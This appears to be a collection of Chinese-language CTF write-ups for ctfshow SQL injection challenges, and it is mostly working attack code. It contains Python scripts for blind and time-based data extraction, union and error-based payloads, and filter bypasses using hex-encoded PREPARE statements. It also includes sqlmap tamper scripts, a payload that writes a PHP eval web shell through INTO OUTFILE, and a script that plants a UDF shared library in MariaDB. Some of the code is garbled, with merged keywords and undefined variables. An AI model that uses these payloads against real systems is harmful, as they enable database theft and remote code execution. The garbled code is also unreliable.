import requests #url="http://68c27803-c8cb-44b9-b9f9-b88a8cb1dbea.challenge.ctf.show/api/v2.php?id=1'and if(substr(database(),{},1)='{}',1,0)%23" url="http://d575b8db-341f-4579-90c7-66f74d93bd7c.challenge.ctf.show/api/v2.php?id=1'and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}',1,0)%23" dicts="abcdefghijklmnopqrstuvwxyz0123456789_=" database='' for i inrange(1,20): for j in dicts: data=url.format(i,j) print(data) res=requests.get(data) if"admin"in res.text: database+=j print(database) break print(database)
-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),0,'b'),1,'c'),2,'d'),3,'e'),4,'h'),5,'i'),6,'j'),7,'m'),8,'n'),9,'o') from ctfshow_user4 where username='flag'--+
import requests import time import datetime url = "http://0fc6f65a-8908-4fd3-8819-623c7eaaba3c.challenge.ctf.show/api/v5.php?id=1' and " result = '' i = 0 whileTrue: i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 payload = f'if(ascii(substr((select group_concat(password) from ctfshow_user5 where username="flag"),{i},1))>{mid},sleep(1),1) --+' t1=datetime.datetime.now() r = requests.get(url + payload) t2=datetime.datetime.now() if (t2-t1).seconds > 0.5: head = mid + 1 else: tail = mid if head != 32: result += chr(head) else: break print(result)
import requests url="http://ff6f89e7-0fa6-4da6-b589-312279425b2c.challenge.ctf.show/api/?id=-1'or(id={})and'1" for i inrange(1,30): res = requests.get(url.format(i)) if"ctfshow"in res.text: print(i) print(res.text)
先看一个demo:select count(pass) from ctfshow_user where pass regexp 'ctfshow',是返回1的,前面的count(pass)代表字段数,后面跟个where代表符合该条件的字段数。为1,则代表pass字段中值以ctfshow开头的只有一个。
select count(pass) from ctfshow_user where pass regexp 'ctfshow{'也是返回1的,但是如果你 regexp ctfshow1 很显然就是返回0了。所以我们根据这个特点就可以去写脚本:
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import requests url = 'http://42d2554a-8788-4113-be14-fade50687eb6.challenge.ctf.show/select-waf.php' strs = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}" res = "" str="ctfshow" print("the second way") for i inrange(8, 46): #ctfshow ,所以第8位是从{ 开始 。 for j in flagstr: data = { #'tableName': "(ctfshow_user)where(pass)regexp'{}'".format(str+j) 'tableName': "(ctfshow_user)where(pass)like'{}%'".format(str + j) } r = requests.post(url, data=data) if r.text.find("$user_count = 1;") > 0: str += j print(str) break
1.比如一开始我一直在想能不能 ctfshow_user" &&"1 这种语法就很奇怪,代入进去其实就是select count(pass) from ctfshow_user && 1 很显然是个错误语法,当然 || 或者 or 1也是一样,
我们在使用or and 这种逻辑时候,前面得有一些条件语句的,比如where 。这里如果我这样写:select count(pass) from ctfshow_user where pass regexp 'ctfshow' or 1 这样语法就是正确的,不会报错。
2.看到网上有这样的利用,我个人是没想明白的:
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for i inrange (1,46): for j in strs: data={"tableName":"(ctfshow_user)where(substr(pass,{},1)regexp{})".format(i,j)} if r.text.find("$user_count = 1;") > 0: flag+=j print(flag) break
import requests url = 'http://0b1ba05a-0178-464a-9ed2-706fa5f9096c.challenge.ctf.show/select-waf.php' flagstr = r"{flqazwsx-0123456789edcrvtgbyhnujmikolp}" res = "" start="ctfshow" defstr2hex(s): strs='' for i in s: m=hex(ord(i)) strs+=str(m[2:]) return strs for i inrange(8, 46): #ctfshow ,所以第8位是从{ 开始 。 for j in flagstr: data = { #'tableName': "(ctfshow_user)where(pass)regexp'{}'".format(str+j) 'tableName': "ctfshow_user as a right join ctfshow_user as b on b.pass regexp 0x{}".format(str2hex(start+j))
} r = requests.post(url, data=data) if r.text.find("$user_count = 43;") > 0: start += j print(start) break
print(start)
加了一个简单的字符转16进制的代码。
解法二
也是找where的等效替换,一开始通过百度查到group by xxxx having xxxx 的这种用法,但是昨天试的时候不行,今天试着又行了,估计是哪里弄错了。
select count(*) from ctfshow_user where pass regexp 'c';
select count(*) from ctfshow_user group by pass having pass regexp 'c'; 效果是一样的:
import requests url = 'http://cf71d4d2-2b5f-41b0-8d2c-bf7e3db392b8.challenge.ctf.show/select-waf.php' flagstr = r"{flqazwsx-0123456789edcrvtgbyhnujmikolp}" res = "" start="ctfshow" defstr2hex(s): strs='' for i in s: m=hex(ord(i)) strs+=str(m[2:]) return strs for i inrange(8, 46): #ctfshow ,所以第8位是从{ 开始 。 for j in flagstr: data = { #'tableName': "(ctfshow_user)where(pass)regexp'{}'".format(str+j) 'tableName': "ctfshow_user group by pass having pass regexp 0x{}".format(str2hex(start+j))
} r = requests.post(url, data=data) if r.text.find("$user_count = 1;") > 0: start += j print(start) break
import requests defcreatenum(n): num='true+'*n return num[:-1] defcreatestr(res): strs='' for s in res: ords=ord(s) ords=createnum(ords) strs=strs+'char({}),'.format(ords) return strs[:-1]
url = 'http://01d38cdf-4bbf-4295-a849-f38296522df5.challenge.ctf.show/select-waf.php' flagstr = r"{flqazwsx-0123456789edcrvtgbyhnujmikolp}" res = "" start="ctfshow"
for i inrange(8, 46): #ctfshow ,所以第8位是从{ 开始 。 for j in flagstr: data = { #'tableName': "(ctfshow_user)where(pass)regexp'{}'".format(str+j) 'tableName': "ctfshow_user group by pass having pass regexp concat({})".format(createstr(start+j)),
} r = requests.post(url, data=data) if r.text.find("$user_count = 1;") > 0: start += j print(start) break print(start)
能够成功跑出。
解法二
当然这里换成right join 也是一样的效果。改下payload和判断条件就行:
'tableName': "ctfshow_user as a right join ctfshow_user as b on b.pass regexp concat({})".format(createstr(start + j))
#!/usr/bin/env python """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY from lib.core.enums import DBMS
""" Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY from lib.core.enums import DBMS __priority__ = PRIORITY.NORMAL
defdependencies(): pass
deftamper(payload, **kwargs): if payload: retval='' for i in payload: if i == ' ': retval+=chr(0x09) elif i == '=': retval=retval+chr(0x09)+'like'+chr(0x09) else: retval=retval+i
""" Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY from lib.core.enums import DBMS import base64
给了语句提示,其实只需要想办法闭合就行了, where id = from_base64($id);,注意这里闭合from_base64函数的同时,还需要保证函数里面的参数格式是正确的,这样不会报错。即poc:debug=1&ip='MQ==')or if(1=1,sleep(2),1)# 注意这里的MQ==要带上引号。
result = '' i = 0 whileTrue: i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 payload = "http://b7185ce1-d257-4be6-b203-67a84e0ce4bc.challenge.ctf.show/api/index.php?u="+f"if(ascii(substr((select database()),{i},1))>{mid},sleep(0.1),1)" print(payload) t1=datetime.datetime.now() r = requests.get(url=payload) t2=datetime.datetime.now() if (t2-t1).seconds > 1: head = mid + 1 else: tail = mid if head != 32: result += chr(head) else: break print(result)
https://02490d20-8e3b-4955-b83b-1499993a0c4c.challenge.ctf.show/api/?username=user1';PREPARE My0n9s from concat('se','lect',' database()');EXECUTE My0n9s;
https://02490d20-8e3b-4955-b83b-1499993a0c4c.challenge.ctf.show/api/?username=user1';PREPARE My0n9s from concat('se','lect',' * from ctfshow_flagasa');EXECUTE My0n9s;
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查询语句: $sql = "select id,username,pass from ctfshow_user where username = '{$username}';"; 返回逻辑: //师傅说过滤的越多越好 if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){ die(json_encode($ret)); }
在上题的基础上过滤了set,show,(,我们可以直接用16进制编码来绕过。最终的payload:user1';PREPARE My0n9s from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;EXECUTE My0n9s;,这里的16进制编码对应select * from ctfsh_ow_flagas
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题目:
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查询语句: $sql = "select id,username,pass from ctfshow_user where username = '{$username}';"; 返回逻辑: //师傅说过滤的越多越好 if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|db|\,/i',$username)){ die(json_encode($ret)); }
核心是select * from information_schema.routines,也是用16进制编码一下,然后用预编译去打。
payload:https://5d50f7f6-0dcf-4dd0-87df-0eb7e906b28f.challenge.ctf.show/api/?username=user1';PREPARE My0n9s from 0x53454c454354202a2046524f4d20696e666f726d6174696f6e5f736368656d612e526f7574696e6573;EXECUTE My0n9s;
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查询语句: $sql = "select id,username,pass from ctfshow_user where username = '{$username}';"; $bansql = "select char from banlist;"; 返回逻辑: //师傅说内容太多,就写入数据库保存 if(count($banlist)>0){ foreach ($banlistas$char) { if(preg_match("/".$char."/i", $username)){ die(json_encode($ret)); } } }
看上去过滤了很多,其实还是可以用之前的思路来打,预编译+16进制来绕过。
payload:https://1bb603aa-63e4-4898-b00c-4a21e4e40bdc.challenge.ctf.show/api?username=user1%27;PREPARE%20My0n9s%20from%200x73686f77207461626c65733b;EXECUTE%20My0n9s; ,通过show tables;来得到表名,最后在select * from ctfsh_ow_flagasaa来拿flag。
import requests import time import datetime url = "http://797a704c-c060-4ac9-a177-9a87e052787a.challenge.ctf.show/api//index.php" result = '' i = 0 whileTrue: i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 payload = f"user1' or if(ascii(substr((select database()),{i},1))>{mid},sleep(0.09),1)#" t1=datetime.datetime.now() data={"password":1,"username":payload} r = requests.post(url=url,data=data) t2=datetime.datetime.now() if (t2-t1).seconds > 0.5: head = mid + 1 else: tail = mid if head != 32: result += chr(head) else: break print(result)
在之前脚本基础上改改就能用了。
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题目:
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//分页查询 $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
import requests url1="http://b25467ab-3f43-478a-981b-d15a91b1dd7c.challenge.ctf.show/api/insert.php" url2="http://b25467ab-3f43-478a-981b-d15a91b1dd7c.challenge.ctf.show/page.php" for i in'ab': for j in'ab': for k in'ab': for l in'ab': for m in'ab': char=i+j+k+l+m payload="admin',(select(flag)from(flag{})))#".format(char) data1={"username":payload,"password":1} res=requests.post(url1,data1) print(res.json()['msg'])
返回到page页面,可以看到插入成功:
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//删除记录 $sql = "delete from ctfshow_user where id = {$id}"; //无过滤
SELECT ... INTO OUTFILE 'file_name' [CHARACTER SET charset_name] [export_options]
export_options: [{FIELDS | COLUMNS} [TERMINATED BY 'string']//分隔符 [[OPTIONALLY] ENCLOSED BY 'char'] [ESCAPED BY 'char'] ] [LINES [STARTING BY 'string'] [TERMINATED BY 'string'] ] “OPTION”参数为可选参数选项,其可能的取值有:
FIELDS TERMINATED BY '字符串':设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。
FIELDS ENCLOSED BY '字符':设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。
FIELDS OPTIONALLY ENCLOSED BY '字符':设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
FIELDS ESCAPED BY '字符':设置转义字符,只能为单个字符。默认值为“\”。
LINES STARTING BY '字符串':设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
LINES TERMINATED BY '字符串':设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。
根据上述介绍,payload:filename=1.php' LINES STARTING BY '<?php eval($_POST[1]);?>'#,一句话木马路径:/dump/1.php
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题目:
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//备份表 $sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';"; 过滤了 php
获取表名: https://a4309304-126e-4f5f-aad6-267156664ba9.challenge.ctf.show/api/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select (table_name) from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a# 获取字段名: https://a4309304-126e-4f5f-aad6-267156664ba9.challenge.ctf.show/api/?id=1%27%20union%20select%201,count(*),concat(0x3a,0x3a,(select%20(column_name)%20from%20information_schema.columns%20where%20table_name='ctfshow_flags'%20%20limit%201,1),0x3a,0x3a,floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a%23 获取字段的值: https://a4309304-126e-4f5f-aad6-267156664ba9.challenge.ctf.show/api/?id=1%27%20union%20select%201,count(*),concat(0x3a,0x3a,(select%20flag2%20from%20ctfshow_flags%20%20limit%200,1),0x3a,0x3a,floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a%23
import requests url="http://5e458827-0235-43c9-b16a-0d7babdf74dd.challenge.ctf.show/api/" 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udfs=[] for i inrange(0,len(udf),5000): udfs.append(udf[i:i+5000]) #写入多个文件中 for i in udfs: url1=url+f"?id=1';SELECT '{i}' into dumpfile '/tmp/"+str(udfs.index(i))+".txt'%23" requests.get(url1)
#合并文件生成so文件 url2=url+"?id=1';SELECT unhex(concat(load_file('/tmp/0.txt'),load_file('/tmp/1.txt'),load_file('/tmp/2.txt'),load_file('/tmp/3.txt'))) into dumpfile '/usr/lib/mariadb/plugin/hack.so'%23" requests.get(url2)